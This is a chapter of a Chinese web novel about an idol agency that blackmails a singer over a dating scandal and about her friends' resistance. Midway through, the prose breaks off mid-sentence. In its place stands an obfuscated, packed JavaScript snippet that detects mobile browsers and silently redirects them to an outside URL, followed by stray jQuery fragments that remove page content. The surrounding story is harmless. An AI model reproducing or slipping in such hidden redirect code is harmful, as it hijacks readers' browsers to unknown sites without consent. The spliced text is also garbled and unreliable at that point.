清晨的练习室被热搜提示音割裂。美娜咬着无糖饼干，看着手机里 “Sin 朴尚琳 GO 约会” 的词条窜上第一，配图里的女孩穿着宽大的卫衣，戴着口罩与棒球帽，在便利店接过男生递来的饭团 —— 虽然马赛克打得很粗糙，但那截露出来的蝴蝶纹身，分明与尚琳后腰的图案一模一样。


    “都去会议室。” 金善娅推门而入，高跟鞋在地面敲出急促的节奏，“社长要开紧急会议。” 她的目光扫过美娜的饼干盒，嘴角扬起一抹冷笑，“记得把你的‘救命粮’藏好，别让高层看见你这幅弱不禁风的样子。”


    会议室里弥漫着咖啡渣的酸腐味。美娜缩在后排，看着 Sin 女团的其他成员坐在前排，背影像一排被抽去脊椎的玩偶。白泉儿 ——FLY 娱乐的王牌经纪人，正用修眉刀敲着桌面，刀刃反射的冷光扫过尚琳煞白的脸。


    “很简单。” 白泉儿将一叠资料摔在桌上，照片里的尚琳板着面孔推搡学妹，“要么承认约会照是 AI 合成，要么......” 她慢悠悠地翻开下一页，“这些校园暴力的‘证据’就会出现在营销号首页。”


    美娜听见身边的练习生倒吸冷气。尚琳的指甲深深掐进掌心，她知道，这个在舞台上总是笑着比心的女孩，其实连蚂蚁都不敢踩死。三年前她们一起参加新人培训，尚琳会把自己的午餐分给流浪猫，袖口永远沾着面包屑。


    “可照片是真的......” 尚琳的声音轻得像片羽毛。


    “嘘 ——” 白泉儿用修眉刀挑起她的下巴，“记住，偶像的世界里，没有‘真的’，只有‘公司说的’。” 她忽然露出甜美的笑，“想想你的妹妹，她还在念高中吧？要是突然被人说姐姐是暴力狂，会不会影响升学？”


    尚琳猛地抬头，眼里闪过惊恐。美娜想起上次在更衣室，尚琳接完电话后偷偷抹眼泪，说妹妹考上了首尔艺术高中。此刻她终于明白，为什么白泉儿总是对尚琳格外 “照顾”—— 原来从一开始，她们的软肋就被攥在资本手里。


    “带她去社长办公室。” 白泉儿挥挥手，两名保安立刻上前，“三小时后，我要看到她对着镜头念道歉信。”


    练习生们被赶到走廊围观。尚琳被押着经过时，Moly 突然举起手机直播：“家人们，尚琳欧尼好像遇到麻烦了呢......” 她的声音甜得发腻，却让美娜想起便利店那晚，Moly 用同样的语气说 “听说她和咖啡店老板睡了”。


    “让开！” 刘思妍突然推开直播的人群，荧光绿发尾扫过 Moly 的手机，“人血馒头好吃吗？” 她转头看向尚琳，眼神里难得有一丝柔软，“别怕，我们等你出来。”


    尚琳的睫毛剧烈颤动，却始终没抬头。保安粗暴地推搡着她，皮鞋跟在地面划出刺耳的声响。美娜看见她卫衣口袋里掉出张纸条，弯腰捡起时，发现是张揉皱的电影票，日期是三天前，座位号是情侣座。


    三小时后，尚琳红肿着眼睛出现在镜头前。她的嘴唇干裂，念道歉信时声音发抖，每说一个字，就像在吞咽碎玻璃：“照片是假的，我和 GO 前辈从未单独见面...... 今后会专注于事业，不辜负公司和粉丝的期望。”


    直播间的弹幕瞬间爆炸：“早就觉得是炒作”“尚琳欧尼演技真好”“GO 粉滚出我们 Sin 超话”。美娜盯着屏幕里尚琳的手，她攥着道歉信的指尖泛白，信纸边缘被捏出密密麻麻的褶皱，像具被揉烂的布偶。


    深夜的器材室传来 “砰砰” 声。美娜抱着保温杯路过，看见门缝里漏出的光。她凑近时，听见尚琳的喘息声混着哭腔，一下下地撞击着沙袋。月光从天窗斜斜切进来，在女孩汗湿的背上画出苍白的棱线，她的指节已经渗出血珠，却像感觉不到痛一样，继续挥拳。


    “尚琳姐......” 美娜推开门，声音里带着不忍。


    尚琳猛地转身，眼里还带着未干的泪痕。她看着美娜，忽然笑了，那笑容比哭还难看：“好看吗？” 她举起流血的手，“这就是偶像的日常，白天说谎，晚上自残。”


    美娜想起白泉儿的修眉刀，想起社长办公室紧闭的门，想起练习生们麻木的围观。她从口袋里摸出块无糖饼干，递过去：“先处理伤口吧......”


    “别假惺惺了！” 尚琳突然挥开她的手，饼干掉在地上，被踩得粉碎，“你们都一样，都是公司的提线木偶！” 她抓起沙袋旁的酒瓶，仰头灌下一口，“知道我为什么和他约会吗？因为他说，想带我去看真正的星星，而不是舞台上的 LED 灯......”


    酒瓶砸在墙上的瞬间，美娜看见尚琳后腰的蝴蝶纹身。那是她十八岁生日时纹的，说要永远记得第一次通过选拔的喜悦。此刻纹身沾着汗水，在月光下微微发亮，像只被关在玻璃瓶里的蝴蝶，徒劳地撞击着命运的壁垒。


    “他们说，我的粉丝都是妈粉。” 尚琳滑坐在地上，碎玻璃扎进掌心也不觉得疼，“所以不能有恋爱绯闻，不能有负面新闻，甚至不能有情绪波动。” 她扯下头上的假发，露出新染的银发，“你看，连发色都是公司选的，说这样能吸引 Z 世代。”


    美娜想起自己的储物柜，想起被撕掉的名牌，想起 Moly 的张扬海报。原来在这个圈子里，每个艺人都只是商品，从外貌到情感，都被明码标价，精心包装，只为了迎合市场的喜好。


    “我妹妹今天给我打电话。” 尚琳摸出手机，锁屏是她们去年的合照，“她说同学都在骂我炒作，问我是不是真的变坏了。” 她的声音哽咽，“我想告诉她真相，却连句‘姐姐爱你’都说不出口，因为手机被监控，聊天记录会被审查。”


    器材室的钟敲了十二下。美娜捡起地上的道歉信，抚平褶皱，上面的 “道歉” 二字被泪水晕开，像朵正在腐烂的花。她想起沈天佑说的 “糖能造王冠”，此刻却觉得，这顶王冠太重了，重得能压碎一个人的灵魂。


    “走吧。” 美娜扶起尚琳，将她流血的手包进自己的卫衣，“我知道有个地方，能看到真正的星星。”


    天台的风比想象中更冷。尚琳裹着美娜的外套，看着远处的城市灯火，忽然指着天空：“看，北斗七星。” 她的声音里带着久违的雀跃，“小时候我爸教我的，说找到北斗星，就不会迷路。”


    美娜顺着她的手指望去，却只看见霓虹灯的光污染。但她没有说话，只是轻轻握住尚琳的手，感受着对方指尖的颤抖。在这个被资本笼罩的城市里，或许真正的星星，只存在于她们的心里。


    手机在此时震动，是刘思妍发来的消息：“楼下便利店的草莓牛奶买一送一，要不要？” 美娜笑了，回复：“帮我带两瓶，还有，谢谢你。” 她顿了顿，又加了句，“明天的声乐课，我们一起坐在前排吧。”


    尚琳看着她的手机屏幕，忽然轻声说：“谢谢。” 她摸出那块被踩碎的饼干，放进嘴里，“其实我早就想吃甜的了，公司说偶像不能有多余的热量。” 她的眼泪大颗大颗地掉下来，却笑着咀嚼，“真甜。”


    黎明的第一缕光爬上天台时，美娜看见尚琳在后颈别了朵小雏菊。那是她从花坛里摘的，花瓣上还沾着露水。两人相视而笑，没有说话，只是静静地等待太阳升起。


    而在 FLY 娱乐的监控室里，金善娅看着天台的画面，嘴角扬起一抹冷笑。她摸出手机，给白泉儿发消息：“朴尚琳的银发造型不错，明天安排个‘叛逆少女蜕变记’的通稿，记得带上 #Sin 未来可期 #的话题。”


    手机很快回复：“善娅姐果然高明，粉丝已经在刷‘尚琳做自己’了。” 金善娅看着屏幕里的尚琳，忽然想起自己刚出道时，也偷偷在后颈别过野花。她轻笑一声，关掉监控，转身走向办公室，高跟鞋声在寂静的走廊里回荡，像极了命运的叩问。


    美娜不知道，在她们看星星的同时，新的舆论风暴正在酝酿。但此刻，她只希望尚琳能记住，在这个黑暗的世界里，总有那么一刻，星星是属于她们的。而她们，也终将带着这份微弱的光，继续在这个残酷的行业里，勇敢地走下去。


    清晨的阳光透过百叶窗，在化妆间的镜子上切割出明暗相间的条纹。尚琳坐在化妆椅上，任由造型师在她新染的银发上喷洒定型喷雾。镜子里映出金善娅满意的笑容，后者正拿着手机浏览粉丝评论：“# 尚琳银发绝了 #已经上趋势第一了，看看这数据，粉丝增长量比上次回归还高 30%。”


    尚琳盯着自己后颈的小雏菊，花瓣上的露水早已蒸发，只留下淡淡的黄色印记。昨晚天台的风还在耳边盘旋，那些被霓虹灯吞噬的星光，此刻正被 LED 摄影灯模拟成璀璨的背景，打在她苍白的脸上。


    “来，眼神再叛逆一点。” 摄影师举着相机调整角度，“想象你是冲破牢笼的野兽，不是任人摆布的偶像。”


    这句话像根细针扎进尚琳的心脏。她想起昨夜砸在墙上的酒瓶，想起美娜掌心的温度，忽然觉得眼前的 LED 星光如此刺眼。造型师为她戴上镶满水钻的项圈，金属扣环扣住脖子的瞬间，她仿佛看见白泉儿的修眉刀再次逼近。


    “可以开始了。” 金善娅打了个响指，助理立刻递上写着 “叛逆宣言” 的提词板。


    尚琳的指尖触到提词板边缘的锯齿 —— 那是被她昨夜捏皱又抚平的痕迹。提词器上滚动着精心撰写的文案：“我的人生，由我定义”“拒绝被标签束缚”“做最真实的自己”。每一个字都像精心打磨的钻石，闪耀着虚伪的光芒。


    第一盏聚光灯亮起时，尚琳听见自己的心跳声。摄影师的快门声此起彼伏，金善娅的指挥声混着助理的脚步声，在摄影棚里形成令人窒息的交响。当她按照要求摆出踢开高跟鞋的动作时，脚踝处的旧伤突然传来刺痛，让她想起三年前为了赶通告，打着封闭针完成的那场演唱会。


    “不对不对！” 金善娅突然挥手叫停，“表情太柔和了，要让粉丝看到你的‘破碎感’，懂吗？就像......” 她顿了顿，“就像昨晚在器材室打沙袋的样子。”


    空气瞬间凝固。尚琳猛地抬头，看见金善娅嘴角扬起的冷笑，这才意识到监控无处不在。昨夜她以为的私密时刻，早已成为高层手中的筹码。她想起美娜被踩碎的饼干，想起刘思妍愤怒的推搡，终于明白，在这个圈子里，连痛苦都要被明码标价，包装成吸引流量的商品。


    “我受够了！” 尚琳突然站起身，用力扯下脖子上的水钻项圈，金属链条划过锁骨，留下一道淡淡的红痕，“我不是商品，不是你们用来赚钱的工具！” 她抓起旁边的服装架，用力砸向 LED 背景板，“真正的我，根本不想当什么偶像！”


    摄影棚里一片混乱。造型师尖叫着躲开，助理们慌忙去扶倒地的灯具，金善娅的脸涨得通红：“把她控制住！” 两名保安冲上来，却被尚琳挥起的衣架打中手臂。美娜闻声冲进摄影棚，看见尚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467614|169829||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    琳像头失控的小兽，银发在灯光下飞舞，眼里燃烧着三年来积压的怒火。


    “尚琳！” 美娜冲过去，抓住她挥衣架的手，“冷静点！”


    尚琳看着她，眼神里闪过一丝清明，随即又被更深的绝望淹没：“为什么要冷静？” 她的声音里带着哭腔，“反正无论做什么，都是错的。笑是假的，哭是炒作，连愤怒都是人设的一部分！” 她忽然指向金善娅，“你敢说，昨晚没有把我的‘自残视频’卖给营销号？”


    金善娅的瞳孔骤然收缩：“你胡说！”


    “是吗？” 尚琳摸出手机，点开某个营销号的页面，“# 尚琳伤痕美学 #，点击量破千万，里面的视频截图，分明是器材室的监控角度。” 她转向美娜，“你以为给我包扎伤口是善意？不，那是他们眼里的‘姐妹情深’剧本！”


    美娜感觉如坠冰窟。她想起昨夜天台的月光，想起尚琳后颈的小雏菊，忽然明白，那些她以为的温暖瞬间，早已被资本扭曲成吸睛的卖点。刘思妍不知何时出现在门口，荧光绿发尾滴着汗水，手里攥着份文件：“美娜，你看这个......”


    一阵尖锐的手机提示音打断她的话。金善娅的手机弹出匿名邮件，附件里的视频自动播放：尚琳与 GO 在便利店约会的高清画面，没有马赛克，没有 AI 合成痕迹，连她后腰的蝴蝶纹身都清晰可见。背景音里传来两人的对话：“听说你们公司不让恋爱？”“是啊...... 但我不想再当提线木偶了。”


    “不可能......” 金善娅踉跄着后退，撞翻了身后的化妆台，“白泉儿说已经处理干净了......”


    “白泉儿？” 尚琳冷笑，“那个用伪造的校园暴力资料威胁我的人？” 她从口袋里摸出张纸，“这是我找黑客朋友恢复的聊天记录，白泉儿和 PS 照片的技术员的对话，时间就在热搜爆发前一晚。”


    摄影棚里鸦雀无声。美娜看着尚琳手里的纸张，想起三年前自己被造谣 “靠关系上位” 时，那些言之凿凿的 “证据”，原来都是这样伪造出来的。刘思妍忽然举起手机：“我录下了刚才的对话，还有监控视频的源文件。” 她看向金善娅，“现在，你还想威胁我们吗？”


    金善娅的脸色铁青，忽然抓起桌上的咖啡泼向尚琳：“你以为有了这些就能翻盘？别忘了，你妹妹还在首尔艺术高中......”


    “够了！” 美娜突然大喊，声音里带着前所未有的坚定，“你们总是用别人的软肋当武器，但这次，我们不会再退缩了。” 她想起沈天佑的妹妹，想起张碧的弟弟，想起刘思妍母亲的贷款合同，“如果曝光真相会伤害无辜的人，那我们就用自己的方式战斗。”


    尚琳看着美娜，忽然露出释然的笑。她捡起地上的小雏菊，别回后颈：“对，我们自己的方式。” 她转向摄影师，“可以继续拍了吗？这次，我想拍真正的自己。”


    摄影棚的灯光再次亮起，却比刚才柔和许多。尚琳脱下华丽的演出服，只穿着简单的白色 T 恤，银发随意地扎成马尾。她坐在地上，露出后腰的蝴蝶纹身，手里握着那朵沾满灰尘的小雏菊，眼神里不再有恐惧和愤怒，只有历经沧桑后的平静。


    “咔嚓。”


    摄影师按下快门的瞬间，朝阳的光芒透过摄影棚的天窗，洒在尚琳身上。那朵小雏菊在阳光下轻轻颤动，仿佛即将振翅高飞的蝴蝶。美娜看着镜头里的尚琳，忽然明白，真正的偶像，不是被资本塑造的完美商品，而是敢于直面真实的勇士。


    深夜的练习室，美娜、刘思妍和尚琳围坐在一起。尚琳的指节缠着绷带，却依然在纸上写写画画。“这是我新写的歌，” 她轻声说，“就叫《玻璃蝴蝶》。” 歌词本上，字迹带着血迹的痕迹：“我是被关在玻璃罐里的蝴蝶，却从未停止飞向自由的决心......”


    刘思妍忽然举起手机，屏幕上是最新的热搜：“# 尚琳小雏菊女孩 #爆火，粉丝自发抵制恶意剪辑。” 评论区里，不再是清一色的控评，而是真实的声音：“看到她眼里的光了吗？那才是偶像该有的样子”“拒绝消费痛苦，我们要真正的尚琳”。


    美娜摸出块无糖饼干，分成三份：“尝尝看，这次是新配方，加了点勇气。”


    尚琳接过饼干，咬下一口，忽然笑了：“真的，有星星的味道。”


    练习室的灯忽然熄灭，月光从窗户斜斜切进来。三人抬头望去，透过城市的霓虹，竟隐约看见几颗微弱的星星，在夜空中坚持着自己的光芒。


    而在 FLY 娱乐的高层会议上，白泉儿摔碎了手中的咖啡杯：“谁泄露了监控视频？” 金善娅盯着屏幕上不断上涨的 “# 抵制偶像工业 #” 话题，第一次感到了恐惧。她摸出蝴蝶戒指，却发现后颈不知何时沾了片小雏菊的花瓣，在台灯下微微发亮，像一记无声的耳光。


    美娜不知道未来会怎样，但此刻，她握着朋友的手，看着窗外的星光，忽然明白，有些东西，是资本永远无法摧毁的。那是她们对真实的坚持，对梦想的热爱，以及，对彼此的信任。


    黎明前最黑暗的时刻，练习室的门被轻轻推开。沈天佑探进头来，手里捧着个蛋糕：“听说有人需要甜的勇气？” 烛光映着他的笑，奶油上用巧克力写着：“蝴蝶终将破茧。”


    尚琳看着蛋糕，眼泪再次夺眶而出。这一次，是因为温暖，因为希望，因为她知道，在这个残酷的世界里，她不是一个人。